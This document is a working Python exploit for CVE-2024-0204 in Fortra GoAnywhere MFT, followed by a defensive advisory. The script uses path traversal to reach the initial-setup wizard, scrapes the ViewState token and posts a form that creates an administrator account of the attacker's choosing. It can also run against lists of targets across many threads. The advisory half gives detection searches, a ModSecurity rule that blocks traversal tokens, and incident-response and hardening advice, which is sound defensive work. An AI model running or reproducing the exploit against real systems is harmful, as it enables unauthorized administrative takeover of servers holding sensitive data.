Fortra GoAnywhere MFT 7.4.1 - Authentication Bypass
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# Exploit Title: Fortra GoAnywhere MFT 7.4.1 - Authentication Bypass
# Date: 2025-05-25
# Exploit Author: @ibrahimsql
# Exploit Author's github: https://github.com/ibrahimsql
# Vendor Homepage: https://www.fortra.com/products/secure-file-transfer/goanywhere-mft
# Software Link: https://www.fortra.com/products/secure-file-transfer/goanywhere-mft/free-trial
# Version: < 7.4.1
# Tested on: Kali Linux 2024.1
# CVE: CVE-2024-0204
# Description:
# Fortra GoAnywhere MFT versions prior to 7.4.1 contain a critical authentication bypass vulnerability
# that allows unauthenticated attackers to create an administrator account by exploiting a path traversal
# vulnerability to access the initial account setup wizard. This exploit demonstrates two different
# path traversal techniques to maximize successful exploitation across various server configurations.
#
# References:
# - https://old.rapid7.com/blog/post/2024/01/23/etr-cve-2024-0204-critical-authentication-bypass-in-fortra-goanywhere-mft/
# - https://www.tenable.com/blog/cve-2024-0204-fortra-goanywhere-mft-authentication-bypass-vulnerability
# - https://nvd.nist.gov/vuln/detail/cve-2024-0204
import argparse
import concurrent.futures
import os
import socket
import sys
from typing import List, Dict, Tuple, Optional, Union
import requests
from bs4 import BeautifulSoup
from colorama import Fore, Style, init
# Initialize colorama for cross-platform colored output
init(autoreset=True)
# Disable SSL warnings
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
# Constants
DEFAULT_TIMEOUT = 10
MAX_THREADS = 10
USER_AGENT = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"
PRIMARY_EXPLOIT_PATH = "/goanywhere/images/..;/wizard/InitialAccountSetup.xhtml"
SECONDARY_EXPLOIT_PATH = "/goanywhere/..;/wizard/InitialAccountSetup.xhtml"
class Banner:
@staticmethod
def show():
banner = f"""{Fore.CYAN}
██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ██╗ ██╗ ██████╗ ██████╗ ██████╗ ██╗ ██╗
██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═████╗╚════██╗██║ ██║ ██╔═████╗╚════██╗██╔═████╗██║ ██║
██║ ██║ ██║█████╗█████╗ █████╔╝██║██╔██║ █████╔╝███████║█████╗██║██╔██║ █████╔╝██║██╔██║███████║
██║ ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ████╔╝██║██╔═══╝ ╚════██║╚════╝████╔╝██║██╔═══╝ ████╔╝██║╚════██║
╚██████╗ ╚████╔╝ ███████╗ ███████╗╚██████╔╝███████╗ ██║ ╚██████╔╝███████╗╚██████╔╝ ██║
╚═════╝ ╚═══╝ ╚══════╝ ╚══════╝ ╚═════╝ ╚══════╝ ╚═╝ ╚═════╝ ╚══════╝ ╚═════╝ ╚═╝
{Style.RESET_ALL}
{Fore.GREEN}CVE-2024-0204 Exploit v1.0{Fore.YELLOW} | {Fore.CYAN} Developer @ibrahimsql{Style.RESET_ALL}
"""
print(banner)
class GoAnywhereExploit:
def __init__(self, username: str, password: str, timeout: int = DEFAULT_TIMEOUT):
self.username = username
self.password = password
self.timeout = timeout
self.headers = {"User-Agent": USER_AGENT}
self.vulnerable_targets = []
self.non_vulnerable_targets = []
self.error_targets = []
def check_target(self, target: str) -> Dict:
"""
Check if target is vulnerable to CVE-2024-0204 and attempt to create an admin account
Args:
target: The target URL/domain to check
Returns:
Dict containing result information
"""
result = {
"target": target,
"vulnerable": False,
"message": "",
"admin_created": False,
"error": None
}
# Try primary exploit path first
primary_result = self._try_exploit_path(target, PRIMARY_EXPLOIT_PATH)
if primary_result["vulnerable"]:
return primary_result
# If primary path failed, try secondary exploit path
print(f"{Fore.BLUE}[*] {Style.RESET_ALL}Primary exploit path failed, trying alternative path...")
secondary_result = self._try_exploit_path(target, SECONDARY_EXPLOIT_PATH)
if secondary_result["vulnerable"]:
return secondary_result
# If both paths failed, target is not vulnerable
print(f"{Fore.RED}[-] {Style.RESET_ALL}{target} - Not vulnerable to CVE-2024-0204")
result["message"] = "Not vulnerable to CVE-2024-0204"
self.non_vulnerable_targets.append(target)
return result
def _try_exploit_path(self, target: str, exploit_path: str) -> Dict:
"""
Try to exploit the target using a specific exploit path
Args:
target: Target to exploit
exploit_path: Path to use for exploitation
Returns:
Dict with exploitation results
"""
result = {
"target": target,
"vulnerable": False,
"message": "",
"admin_created": False,
"error": None
}
try:
url = f"https://{target}{exploit_path}"
session = requests.Session()
# Initial check for vulnerability
response = session.get(
url,
headers=self.headers,
verify=False,
timeout=self.timeout
)
# Determine if target is vulnerable based on response
if response.status_code == 401:
print(f"{Fore.RED}[-] {Style.RESET_ALL}{target} - Not vulnerable via {exploit_path} (401 Unauthorized)")
result["message"] = "Not vulnerable (401 Unauthorized)"
return result
if response.status_code != 200:
print(f"{Fore.YELLOW}[?] {Style.RESET_ALL}{target} - Unexpected response via {exploit_path} (Status: {response.status_code})")
result["message"] = f"Unexpected response (Status: {response.status_code})"
return result
# Target is potentially vulnerable
print(f"{Fore.GREEN}[+] {Style.RESET_ALL}{target} - Potentially vulnerable via {exploit_path}!")
result["vulnerable"] = True
self.vulnerable_targets.append(target)
# Extract ViewState token for the form submission
try:
soup = BeautifulSoup(response.text, "html.parser")
view_state = soup.find('input', {'name': 'javax.faces.ViewState'})
if not view_state or not view_state.get('value'):
print(f"{Fore.YELLOW}[!] {Style.RESET_ALL}{target} - Could not extract ViewState token via {exploit_path}")
result["message"] = "Could not extract ViewState token"
return result
# Prepare data for admin account creation
data = {
"j_id_u:creteAdminGrid:username": self.username,
"j_id_u:creteAdminGrid:password_hinput": self.password,
"j_id_u:creteAdminGrid:password": "%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2",
"j_id_u:creteAdminGrid:confirmPassword_hinput": self.password,
"j_id_u:creteAdminGrid:confirmPassword": "%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2",
"j_id_u:creteAdminGrid:submitButton": "",
"createAdminForm_SUBMIT": 1,
"javax.faces.ViewState": view_state['value']
}
# Attempt to create admin account
create_response = session.post(
url,
headers=self.headers,
data=data,
verify=False,
timeout=self.timeout
)
if create_response.status_code == 200:
print(f"{Fore.GREEN}[+] {Style.RESET_ALL}{target} - Admin account created successfully via {exploit_path}! Username: {self.username}, Password: {self.password}")
result["admin_created"] = True
result["message"] = f"Admin account created successfully! Username: {self.username}, Password: {self.password}"
else:
print(f"{Fore.RED}[-] {Style.RESET_ALL}{target} - Failed to create admin account via {exploit_path} (Status: {create_response.status_code})")
result["message"] = f"Failed to create admin account (Status: {create_response.status_code})"
except Exception as e:
print(f"{Fore.RED}[!] {Style.RESET_ALL}{target} - Error extracting form data: {str(e)}")
result["message"] = f"Error extracting form data: {str(e)}"
result["error"] = str(e)
except requests.exceptions.ConnectTimeout:
print(f"{Fore.YELLOW}[!] {Style.RESET_ALL}{target} - Connection timeout")
result["message"] = "Connection timeout"
result["error"] = "Connection timeout"
self.error_targets.append(target)
except requests.exceptions.ConnectionError:
print(f"{Fore.YELLOW}[!] {Style.RESET_ALL}{target} - Connection error")
result["message"] = "Connection error"
result["error"] = "Connection error"
self.error_targets.append(target)
except Exception as e:
print(f"{Fore.RED}[!] {Style.RESET_ALL}{target} - Error: {str(e)}")
result["message"] = f"Error: {str(e)}"
result["error"] = str(e)
self.error_targets.append(target)
return result
def scan_targets(self, targets: List[str]) -> None:
"""
Scan multiple targets concurrently
Args:
targets: List of targets to scan
"""
with concurrent.futures.ThreadPoolExecutor(max_workers=MAX_THREADS) as executor:
executor.map(self.check_target, targets)
def load_targets_from_file(self, file_path: str) -> List[str]:
"""
Load targets from a file
Args:
file_path: Path to the file containing targets
Returns:
List of targets
"""
if not os.path.exists(file_path):
print(f"{Fore.RED}[!] {Style.RESET_ALL}File not found: {file_path}")
return []
try:
with open(file_path, "r") as f:
return [line.strip() for line in f if line.strip()]
except Exception as e:
print(f"{Fore.RED}[!] {Style.RESET_ALL}Error reading file: {str(e)}")
return []
def print_summary(self) -> None:
"""Print a summary of the scanning results"""
print(f"\n{Fore.CYAN}[*] {Style.RESET_ALL}Scan Summary:")
print(f"{Fore.GREEN}[+] {Style.RESET_ALL}Vulnerable targets: {len(self.vulnerable_targets)}")
print(f"{Fore.RED}[-] {Style.RESET_ALL}Non-vulnerable targets: {len(self.non_vulnerable_targets)}")
print(f"{Fore.YELLOW}[!] {Style.RESET_ALL}Error targets: {len(self.error_targets)}")
if self.vulnerable_targets:
print(f"\n{Fore.GREEN}[+] {Style.RESET_ALL}Vulnerable targets:")
for target in self.vulnerable_targets:
print(f" - {target}")
def validate_args(args):
"""Validate command line arguments"""
if not args.target and not args.file:
print(f"{Fore.RED}[!] {Style.RESET_ALL}Error: You must specify either a target (-t) or a file (-f)")
return False
if args.file and not os.path.exists(args.file):
print(f"{Fore.RED}[!] {Style.RESET_ALL}Error: File not found: {args.file}")
return False
if not args.username or not args.password:
print(f"{Fore.RED}[!] {Style.RESET_ALL}Error: You must specify both username (-u) and password (-p)")
return False
return True
def main():
"""Main function"""
parser = argparse.ArgumentParser(description="CVE-2024-0204: Fortra GoAnywhere MFT Authentication Bypass Exploit")
parser.add_argument('-t', '--target', help="Target host to check (e.g., 'example.com' or '192.168.1.1')")
parser.add_argument('-f', '--file', help="File containing targets, one per line")
parser.add_argument('-u', '--username', help="Username for the admin account to create")
parser.add_argument('-p', '--password', help="Password for the admin account to create")
parser.add_argument('--timeout', type=int, default=DEFAULT_TIMEOUT, help=f"Connection timeout in seconds (default: {DEFAULT_TIMEOUT})")
parser.add_argument('--threads', type=int, default=MAX_THREADS, help=f"Number of concurrent threads for scanning (default: {MAX_THREADS})")
args = parser.parse_args()
# Show banner
Banner.show()
# Validate arguments
if not validate_args(args):
parser.print_help()
sys.exit(1)
# Initialize exploit
exploit = GoAnywhereExploit(
username=args.username,
password=args.password,
timeout=args.timeout
)
# Handle single target
if args.target:
print(f"{Fore.CYAN}[*] {Style.RESET_ALL}Checking single target: {args.target}")
exploit.check_target(args.target)
# Handle targets from file
elif args.file:
targets = exploit.load_targets_from_file(args.file)
if not targets:
print(f"{Fore.RED}[!] {Style.RESET_ALL}No valid targets found in the file")
sys.exit(1)
print(f"{Fore.CYAN}[*] {Style.RESET_ALL}Loaded {len(targets)} targets from file")
print(f"{Fore.CYAN}[*] {Style.RESET_ALL}Starting scan with {args.threads} threads...\n")
exploit.scan_targets(targets)
# Print summary
exploit.print_summary()
if __name__ == "__main__":
try:
main()
except KeyboardInterrupt:
print(f"\n{Fore.YELLOW}[!] {Style.RESET_ALL}Scan interrupted by user")
sys.exit(0)
except Exception as e:
print(f"{Fore.RED}[!] {Style.RESET_ALL}Unhandled error: {str(e)}")
sys.exit(1) Fortra GoAnywhere MFT (pre‑7.4.1) — CVE‑2024‑0204: Authentication Bypass (Overview, Impact, and Defensive Guidance)
Executive summary
CVE‑2024‑0204 is a critical authentication bypass affecting Fortra GoAnywhere MFT prior to version 7.4.1. An unauthenticated attacker can leverage a path‑traversal weakness to reach the application’s initial setup wizard and create an administrative account. Because successful exploitation results in full administrative control of the appliance, the risk and impact are severe for exposed systems.
Why this matters
- Authentication bypass vulnerabilities that allow creation or takeover of administrative accounts are high‑impact: they permit lateral movement, data exfiltration, and persistent compromise.
- GoAnywhere MFT is commonly used for enterprise file transfers and often processes sensitive data. A compromised instance can expose regulatory data and break compliance requirements.
- Attackers historically weaponize such flaws quickly; public writeups and exploit code may be available. Rapid detection and patching are essential.
Vulnerability details (high level)
At a conceptual level, the vulnerability combines a path traversal technique with insufficient access control over the installation / setup functionality. Attackers use crafted URL path elements to bypass authentication checks intended to restrict the initial‑setup pages. Once the setup flow is reached, the attacker can create a privileged administrative account without legitimate credentials.
This is an authentication bypass (not just an information disclosure). The core risk is unauthorized admin account creation on an internet‑reachable or internal instance that lacks adequate network controls.
Affected products and severity
| Product | Affected versions | Fixed in | Severity |
|---|---|---|---|
| Fortra GoAnywhere MFT | Versions prior to 7.4.1 | 7.4.1 and later | Critical (public reports indicate CVSS ~9.8) |
Real‑world impact and use cases
- Incident: An external attacker creates an admin account, logs in, downloads stored credentials or transfer logs, and configures automated exfiltration jobs.
- Supply chain: An attacker with admin rights could alter transfer jobs to exfiltrate data to attacker‑controlled hosts.
- Persistence: The attacker can create additional accounts, configure API keys, or install backdoors using file transfer jobs.
Detection guidance (what to look for)
Detection focuses on two areas: (1) unusual access to setup/installation endpoints or traversal patterns, and (2) signs of new, unexpected administrative accounts or configuration changes.
- Log searches: Search web access logs for requests that attempt to access setup or installer pages, and for suspicious path traversal patterns (e.g., occurrences of "../" or URL‑encoded equivalents). Investigate any access to setup endpoints originating from unauthorized IP addresses.
- Account auditing: Look for newly created accounts in the admin role, especially with recent timestamps or from unexpected source IPs. Correlate these with session creation and administrative action logs (job creation, user management, keys).
- Configuration drift: Monitor for unexpected job definitions, outbound connections, or new trusted hosts added to transfer configurations.
# Example Splunk search (defensive) — identifies requests to setup-related pages or traversal patterns
index=web_access
| where like(uri, "%setup%") OR like(uri, "%wizard%") OR match(uri, "\.\./") OR match(uri, "%2e%2e%")
| stats count by client_ip, uri, _time
Explanation: This Splunk query is oriented to detection only — it searches historical web access logs for request URIs that include keywords commonly associated with installer/setup pages and for basic path traversal tokens. Adjust for your environment's fields and normalize URI encoding where necessary.
Immediate mitigations (prioritize these until patched)
- Patch: Apply Fortra’s security update and upgrade affected systems to version 7.4.1 or later as soon as possible. This is the primary and recommended fix.
- Network restriction: Restrict access to GoAnywhere management interfaces (web UI and administrative ports) to a limited set of trusted management IPs via firewall rules or network ACLs. Do not expose management ports to the public internet.
- WAF/hardened filtering: Deploy WAF rules to block path traversal and unusual path encoding. Block requests containing traversal sequences or suspicious combinations of encoded characters and separators.
- Temporary hardening: If possible, remove or block access to any installer/setup URIs or static setup artifacts until patching completes. If the application supports disabling the initial‑setup flow, do so.
- Credential rotation: If you suspect compromise, rotate all administrative credentials and keys used by the instance and any downstream systems that rely on it.
# Example ModSecurity rule (defensive): block common encoded path traversal tokens
# NOTE: Test rules in staging; tune to avoid false positives.
SecRule REQUEST_URI|ARGS|REQUEST_HEADERS "@rx (\.\./|%2e%2e|%2f%2e%2e)" \
"id:100001,phase:1,deny,log,msg:'Possible path traversal/encoded traversal attempt',severity:2"
Explanation: This ModSecurity rule inspects request URIs, arguments, and headers for raw or URL‑encoded path traversal patterns and blocks them. It is intended as a temporary mitigation layer; tuning and testing are required to minimize false positives.
Incident response playbook (if exploitation is suspected)
- Isolate the instance: Remove network access or place the server in a quarantine VLAN to prevent further attacker activity.
- Collect and preserve evidence: Preserve system images, web access logs, application logs, and job history for forensic analysis. Capture memory if you have the capability.
- Identify scope: Enumerate accounts, scheduled jobs, outbound connections, and any artifacts the attacker may have left (scripts, keys, new users, altered job definitions).
- Rotate credentials: Revoke and rotate admin credentials, API keys, and any credentials stored in transfer jobs or connectors after confirming a clean state.
- Remediate: Rebuild the appliance from a known good image where feasible, apply the vendor patch, and restore configuration after validation. Do not simply rely on cleaning files without root cause analysis.
- Notify stakeholders: Follow legal, regulatory, and vendor notification requirements as appropriate for data breaches.
Hardening and preventive controls (long term)
- Least privilege and RBAC: Enforce least privilege for all administrative roles and separate duties for job management vs. system administration.
- Network segmentation: Keep file transfer servers on segmented networks and only allow necessary inbound/outbound connections using firewall rules and allowlists.
- MFA: Require multi‑factor authentication for all administrative users where supported.
- Monitoring & alerting: Create alerts for creation of high‑privilege accounts, mass configuration changes, and installation/setup access attempts.
- Patch management: Maintain an inventory and a rapid patching process for critical infrastructure services. Subscribe to vendor advisories and threat feeds for timely notifications.
Safe examples for detection and monitoring
# Simple defensive Python snippet: scan local web server access log for setup/suspicious entries
# This script only reads logs and reports suspicious URIs; it does not interact with remote systems.
import re
suspicious = re.compile(r"(setup|wizard|\.\./|%2e%2e)", re.I)
with open("/var/log/nginx/access.log") as f:
for line in f:
if suspicious.search(line):
print(line.strip())
Explanation: This non‑network Python example scans a local web server access log for likely indicators (setup/wizard keywords and basic traversal tokens). Use it to find possible attempts in your historical logs. Adjust the file path and regex to match your environment.
Communication and timeline
If you operate GoAnywhere MFT in production, treat this as a high‑priority patching and review item. Implement the immediate mitigations listed above and schedule a maintenance window to apply vendor updates. Monitor security advisories and coordinate with your platform owner and security teams to ensure a controlled, auditable remediation process.
References and further reading
- Vendor advisories and release notes — consult Fortra’s official security advisory and update guidance for the definitive remediation steps and affected build numbers.
- Public vulnerability writeups and vendor blog posts — these provide context on the vulnerability class and impact but may also include technical exploitation details; use those only for defensive research in controlled environments.
- SIEM and WAF vendor documentation — for implementing and tuning the detection and mitigation examples above.
Summary
CVE‑2024‑0204 is a critical authentication bypass that permits unauthorized administrator account creation on affected GoAnywhere MFT instances. The remedial priority is high: apply the vendor patch (7.4.1 or later), restrict management access, deploy WAF/firewall mitigations, and monitor for indicators of compromise. If an instance is suspected to be compromised, follow an incident response workflow: isolate, collect forensic evidence, rotate credentials, remediate, and notify stakeholders.